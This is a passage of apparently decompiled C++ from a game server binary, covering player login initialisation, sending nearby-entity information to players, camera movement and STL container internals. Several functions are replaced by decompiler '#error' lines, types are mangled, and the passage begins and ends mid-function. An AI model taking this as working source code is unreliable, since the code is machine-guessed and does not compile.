[bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00436590) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004365E0) -------------------------------------------------------- #error "4365E0: undefined or illegal type '#593' (funcsize=21)" //----- (00436620) -------------------------------------------------------- #error "436620: undefined or illegal type '#593' (funcsize=25)" //----- (00436670) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LoginInit(void *this) { void *v1; // ebp@1 int v2; // edx@1 char v3; // al@1 ListIteratorDefault arg; // [sp+14h] [bp-14h]@1 char *v5; // [sp+18h] [bp-10h]@1 int v6; // [sp+24h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LoginInit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LoginInit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v6 = 0; *((_BYTE *)v1 + 143132) = -1; (*(void (__thiscall **)(void *))(v2 + 996))(v1); *((_DWORD *)v1 + 35793) = 0; *((_DWORD *)v1 + 35794) = CGambleObject::GDTSO_GetGameStatus; *((_DWORD *)v1 + 35797) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v1 + 35796) = 0; *((_BYTE *)v1 + 66152) = 0; *(_DWORD *)((char *)v1 + 106) = 0; ShineObjectClass::ShinePlayer::sp_RideInitialize(v1); *(_DWORD *)((char *)v1 + 218) = 0; ShineObjectClass::ShinePlayer::PartyMemberInform::pmi_Clear((ShineObjectClass::ShinePlayer::PartyMemberInform *)v1 + 3168); v3 = *((_BYTE *)v1 + 7428) & 0xE7; *((_DWORD *)v1 + 35803) = -1; *((_BYTE *)v1 + 7428) = v3; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v5 = (char *)v1 + 143228; LOBYTE(v6) = 1; List::l_4AllInList((List *)((char *)v1 + 143228), &arg); memcpy((char *)v1 + 65944, ¶meter_eraser_plus, 0xC0u); LOBYTE(v6) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)((char *)v1 + 143168)); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LoginInit"); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004367B0) -------------------------------------------------------- #error "4367B0: undefined or illegal type '#593' (funcsize=47)" //----- (00436870) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD(void *center, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ST04_4@5 int v6; // eax@5 int v7; // ST04_4@5 int v8; // eax@5 char *v9; // [sp-4h] [bp-24h]@4 v4 = center; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S51_1 & 1) ) { _S51_1 |= 1u; cmc_17.cmc_AllowMode = 126; atexit(_E52); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_17.cmc_AllowMode ) { *((_BYTE *)v4 + 23352) &= 0xF7u; briefchar.bixc_Pointer->charnum = 0; v5 = *(_DWORD *)((char *)v4 + 78); v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v4, v6, v5, 0, 0, (int)ShineObjectClass::ShineObject::so_GatherPlayerInform, 0, 0, 0, 0, 65535); BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Send(&briefchar, (#593 *)v4); briefminihouse.bixmh_Pointer->minihouses = 0; v7 = *(_DWORD *)((char *)v4 + 78); v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v4, v8, v7, 0, 0, (int)ShineObjectClass::ShineObject::so_GatherMiniHouseInform, 0, 0, 0, 0, 65535); BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Send(&briefminihouse, (#593 *)v4); v9 = "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD"; } else { v9 = "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (00436A00) -------------------------------------------------------- #error "436A00: undefined or illegal type '#593' (funcsize=25)" //----- (00436A50) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::find(...) { std::_Tree >,std::less,std::allocator > > > v3; // edx@1 std::_Tree >,std::less,std::allocator > > > v4; // eax@1 std::_Tree >,std::less,std::allocator > > > *v5; // eax@8 v3 = *((_DWORD *)this + 1); v4 = *(_DWORD *)(v3 + 4); while ( !*(_BYTE *)(v4 + 33) ) { if ( *(_WORD *)(v4 + 12) >= *_Keyval ) { v3 = v4; v4 = *(_DWORD *)v4; } else { v4 = *(_DWORD *)(v4 + 8); } } if ( v3 == *((_DWORD *)this + 1) || *_Keyval < *(_WORD *)(v3 + 12) ) { v5 = result; *result = *((_DWORD *)this + 1); } else { v5 = result; *result = v3; } return v5; } //----- (00436AC0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, Observer *_First, Observer *_Last) { Observer *i; // esi@1 for ( i = _First; i != _Last; ++i ) i->baseclass_0.vfptr->__vecDelDtor((IObserver *)i, 0); } //----- (00436AF0) -------------------------------------------------------- void __thiscall AxialListCameraMove::_AxialListCameraMove(AxialListCameraMove *this) { AxialListCameraMove *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListCameraMove::_vftable_; if ( this->alcm_PlayerList._Myfirst ) operator delete(this->alcm_PlayerList._Myfirst); v1->alcm_PlayerList._Myfirst = 0; v1->alcm_PlayerList._Mylast = 0; v1->alcm_PlayerList._Myend = 0; v1->alcm_PlayerList._Myfirst = 0; v1->alcm_PlayerList._Mylast = 0; v1->alcm_PlayerList._Myend = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)v1); } // 639E84: using guessed type int (__stdcall *AxialListCameraMove___vftable_)(int, int, int distancesquar); //----- (00436B40) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 Observer *v6; // eax@2 Observer *v7; // edi@2 Observer *v8; // ebx@2 Observer *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(Observer **)&_Last, v4->_Mylast, *(Observer **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = v4->_Mylast; v8 = v6; for ( i = v6; i != v7; ++i ) i->baseclass_0.vfptr->__vecDelDtor((IObserver *)i, 0); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (00436BA0) -------------------------------------------------------- Observer *__thiscall std::vector>::_Ufill(std::vector > *this, Observer *_Ptr, unsigned int _Count, Observer *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00436BD0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val) { std::_Tree,std::allocator >,0> > *v5; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator >,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator >,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x1FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator>_1>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 20) = 1; *(_BYTE *)(v14 + 20) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 20) = 0; v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00436D80) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00436DF0) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(4 * _Capacity); v2->_Myend = (#593 **)((char *)v4 + 4 * _Capacity); v2->_Myfirst = (#593 **)v4; v2->_Mylast = (#593 **)v4; result = 1; } else { result = 0; } return result; } //----- (00436E40) -------------------------------------------------------- #error "436E40: undefined or illegal type '#593' (funcsize=199)" //----- (00437020) -------------------------------------------------------- #error "437020: undefined or illegal type '#593' (funcsize=276)" //----- (00437350) -------------------------------------------------------- std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val) { std::pair *v3; // ebp@1 std::_Tree,std::allocator >,0> > *v4; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // eax@1 bool v7; // cl@1 const unsigned __int16 v8; // dx@2 std::pair *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator >,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->first; do { v5 = v6; v7 = v8 < v6->_Myval.first; _Addleft = v8 < v6->_Myval.first; if ( v8 >= v6->_Myval.first ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (std::pair *)v5; _Val = (std::pair *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val); v9 = _Val; } if ( LOWORD(v9[1].second) >= v3->first ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (00437410) -------------------------------------------------------- #error "437410: undefined or illegal type '#593' (funcsize=57)" //----- (004374A0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Observer _Val) { Observer *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&_Val.tick_); IObserver::_IObserver(&_Val.baseclass_0); } //----- (00437590) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where, std::pair *_Val) { std::_Tree,std::allocator >,0> > *v4; // edi@1 std::_Tree,std::allocator >,0> >::iterator *v5; // eax@2 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // eax@3 std::pair *v7; // esi@3 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@7 const unsigned __int16 v9; // bp@9 bool v10; // cf@9 int v11; // ecx@21 char v12; // [sp+8h] [bp-8h]@21 v4 = this; if ( !this->_Mysize ) { std::_Tree_std::allocator>_0>>::_Insert( this, result, 1, this->_Myhead, _Val); return result; } v6 = this->_Myhead; v7 = _Val; if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_Where == v6->_Left ) { if ( _Val->first < *(_WORD *)(*(_DWORD *)&_Where + 12) ) { std::_Tree_std::allocator>_0>>::_Insert( this, result, 1, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&_Where, _Val); return result; } goto LABEL_21; } if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_Where == v6 ) { v8 = v6->_Right; if ( v8->_Myval.first < _Val->first ) { std::_Tree_std::allocator>_0>>::_Insert( this, result, 0, v8, _Val); return result; } goto LABEL_21; } v9 = _Val->first; v10 = *(_WORD *)(*(_DWORD *)&_Where + 12) < _Val->first; if ( *(_WORD *)(*(_DWORD *)&_Where + 12) > _Val->first ) { _Val = (std::pair *)_Where; std::_Tree_std::allocator>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val); if ( LOWORD(_Val[1].second) < v9 ) { if ( *(_BYTE *)(*(_DWORD *)&_Val[1].first + 21) ) { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 0, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Val, v7); v5 = result; } else { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 1, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&_Where, v7); v5 = result; } return v5; } v10 = *(_WORD *)(*(_DWORD *)&_Where + 12) < v9; } if ( !v10 || (_Val = (std::pair *)_Where, std::_Tree_std::allocator>_0>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val), (std::_Tree_nod,std::allocator >,0> >::_Node *)_Val != v4->_Myhead) && v9 >= LOWORD(_Val[1].second) ) { LABEL_21: v11 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::insert( v4, (std::pair,std::allocator >,0> >::iterator,bool> *)&v12, v7)->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v11; return v5; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&_Where + 8) + 21) ) { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 0, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&_Where, v7); v5 = result; } else { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Val, v7); v5 = result; } return v5; } //----- (00437710) -------------------------------------------------------- void __thiscall AxialListCameraMove::AxialListCameraMove(AxialListCameraMove *this, SHINE_XY_TYPE Center, unsigned int Range) { AxialListCameraMove *v3; // esi@1 v3 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v3->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListCameraMove::_vftable_; v3->alcm_PlayerList._Myfirst = 0; v3->alcm_PlayerList._Mylast = 0; v3->alcm_PlayerList._Myend = 0; v3->alcm_Center.x = Center.x; v3->alcm_Center.y = Center.y; v3->alcm_Range = Range; if ( v3->alcm_PlayerList._Myfirst ) operator delete(v3->alcm_PlayerList._Myfirst); v3->alcm_PlayerList._Myfirst = 0; v3->alcm_PlayerList._Mylast = 0; v3->alcm_PlayerList._Myend = 0; } // 639E84: using guessed type int (__stdcall *AxialListCameraMove___vftable_)(int, int, int distancesquar); //----- (00437790) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this) { #593 **v1; // esi@1 signed int v2; // edx@2 #593 **v3; // eax@6 #593 **v4; // [sp+8h] [bp+4h]@0 v1 = this->_Myfirst; if ( v1 ) v2 = this->_Mylast - v1; else v2 = 0; if ( v1 && v2 < this->_Myend - v1 ) { v3 = this->_Mylast; *v3 = *v4; this->_Mylast = v3 + 1; } else { std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, 1u); } } // 437790: inconsistent function type and number of purged bytes //----- (004377E0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize) { std::vector > *v2; // esi@1 Observer v3; // [sp-1Ch] [bp-20h]@1 Observer *v4; // [sp+0h] [bp-4h]@1 v2 = this; v4 = &v3; Observer::Observer(&v3); std::vector>::resize(v2, _Newsize, v3); } //----- (00437810) -------------------------------------------------------- LuaScriptScenario **__thiscall std::map_std::allocator>>::operator__(std::map,std::allocator > > *this, const unsigned __int16 *_Keyval) { std::_Tree,std::allocator >,0> >::iterator v2; // edx@1 std::_Tree,std::allocator >,0> >::iterator v3; // eax@1 LuaScriptScenario **result; // eax@8 std::pair _Val; // [sp+8h] [bp-8h]@8 v2 = (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead; v3 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v2 + 4); while ( !*(_BYTE *)(*(_DWORD *)&v3 + 21) ) { if ( *(_WORD *)(*(_DWORD *)&v3 + 12) >= *_Keyval ) { v2 = v3; v3 = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&v3; } else { v3 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v3 + 8); } } if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)v2 != this->baseclass_0._Myhead && *_Keyval >= *(_WORD *)(*(_DWORD *)&v2 + 12) ) { result = (LuaScriptScenario **)(*(_DWORD *)&v2 + 16); } else { _Val.first = *_Keyval; _Val.second = 0; result = (LuaScriptScenario **)(*(_DWORD *)&std::_Tree_std::allocator>_0>>::insert( &this->baseclass_0, (std::_Tree,std::allocator >,0> >::iterator *)&_Keyval, v2, &_Val)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] + 16); } return result; } //----- (00437890) -------------------------------------------------------- #error "437890: undefined or illegal type '#593' (funcsize=157)" //----- (00437B00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_AdeliaMap_ReSetSendMyBriefInfo(void *me) { void *v1; // esi@1 v1 = me; briefchar.bixc_Pointer->charnum = 0; BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(&briefmob); briefdoor.bixd_Pointer->doornum = 0; briefeffect.bixe_Pointer->effectnum = 0; briefitem.bixi_Pointer->itemnum = 0; briefmagfld.bixmfm_Pointer->magicfields = 0; briefminihouse.bixmh_Pointer->minihouses = 0; BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(&briefabstate_char); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(&briefabstate_mob); sightsquar = CalculateBroadcastDistance::cbd_DistanceSquar(&broadcastdistance, (#593 *)v1); ShineObjectClass::ShineObject::so_AllInMap(v1, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0); BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Send(&briefchar, (#593 *)v1); BriefInfoExchanger::BriefInfoExchangeMob::bixm_Send(&briefmob, (#593 *)v1); BriefInfoExchanger::BriefInfoExchangeDoor::bixd_Send(&briefdoor, (#593 *)v1); BriefInfoExchanger::BriefInfoExchangeEffect::bixe_Send(&briefeffect, (#593 *)v1); BriefInfoExchanger::BriefInfoExchangeItem::bixi_Send(&briefitem, (#593 *)v1); BriefInfoExchanger::BriefInfoExchangeMagicField::bixmfm_Send(&briefmagfld, (#593 *)v1); BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Send(&briefminihouse, (#593 *)v1); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(&briefabstate_char, (#593 *)v1); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(&briefabstate_mob, (#593 *)v1); MobRoaming::MobsInRoaming::mir_MoveInfoSendTo((MobRoaming::MobsInRoaming *)&mobinroam, (#734 *)v1); AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin( (AbnormalStateContainer::AbstateListInObject *)((char *)v1 + 296), (#734 *)v1); } //----- (00437C10) -------------------------------------------------------- #error "437C10: undefined or illegal type '#593' (funcsize=38)" //----- (00437CC0) -------------------------------------------------------- char __thiscall AxialListCameraMove::alcm_SendBriefInfo(AxialListCameraMove *this) { AxialListCameraMove *v1; // ebp@1 #593 **v2; // ecx@1 void **i; // esi@3 int v4; // eax@4 int v5; // ecx@5 unsigned int v6; // eax@7 char *v7; // edx@10 char *v8; // ST08_4@10 int v9; // eax@10 int v10; // eax@10 #734 *v11; // edi@10 AbnormalStateContainer::AbstateListInObject *v12; // eax@11 v1 = this; v2 = this->alcm_PlayerList._Myfirst; if ( v2 ) { if ( v1->alcm_PlayerList._Mylast - v2 ) { for ( i = (void **)v2; (#593 **)i < v1->alcm_PlayerList._Mylast; ++i ) { briefchar.bixc_Pointer->charnum = 0; BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(&briefmob); briefdoor.bixd_Pointer->doornum = 0; briefeffect.bixe_Pointer->effectnum = 0; briefitem.bixi_Pointer->itemnum = 0; briefmagfld.bixmfm_Pointer->magicfields = 0; briefminihouse.bixmh_Pointer->minihouses = 0; BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(&briefabstate_char); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(&briefabstate_mob); v4 = *(_DWORD *)((char *)*i + 98); if ( v4 && (v5 = *(_DWORD *)(v4 + 16)) != 0 ) { if ( *(_DWORD *)(v4 + 420) == 1 ) v6 = -1; else v6 = *(_DWORD *)(v5 + 56) * *(_DWORD *)(v5 + 56); } else { v6 = 0; } v7 = (char *)v1->alcm_Range; sightsquar = v6; v8 = v7; v9 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( *i, v9, (int)&v1->alcm_Center, v8, 0, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0, 65535); BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Send(&briefchar, (#593 *)*i); BriefInfoExchanger::BriefInfoExchangeMob::bixm_Send(&briefmob, (#593 *)*i); BriefInfoExchanger::BriefInfoExchangeDoor::bixd_Send(&briefdoor, (#593 *)*i); BriefInfoExchanger::BriefInfoExchangeEffect::bixe_Send(&briefeffect, (#593 *)*i); BriefInfoExchanger::BriefInfoExchangeItem::bixi_Send(&briefitem, (#593 *)*i); BriefInfoExchanger::BriefInfoExchangeMagicField::bixmfm_Send(&briefmagfld, (#593 *)*i); BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Send(&briefminihouse, (#593 *)*i); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(&briefabstate_char, (#593 *)*i); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(&briefabstate_mob, (#593 *)*i); v10 = (*(int (**)(void))(*(_DWORD *)*i + 3096))(); v11 = (#734 *)v10; if ( v10 ) { v12 = (AbnormalStateContainer::AbstateListInObject *)(*(int (__thiscall **)(int))(*(_DWORD *)v10 + 1320))(v10); AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin(v12, v11); } } } } return 1; } //----- (00437E60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_CameraMoveSendBriefInfo(void *this, SHINE_XY_TYPE Center, unsigned int Range) { void *v3; // esi@1 int (__stdcall **alcm)(int, int, int); // [sp+8h] [bp-2Ch]@1 void *p; // [sp+10h] [bp-24h]@1 int v6; // [sp+14h] [bp-20h]@3 int v7; // [sp+18h] [bp-1Ch]@3 int v8; // [sp+30h] [bp-4h]@1 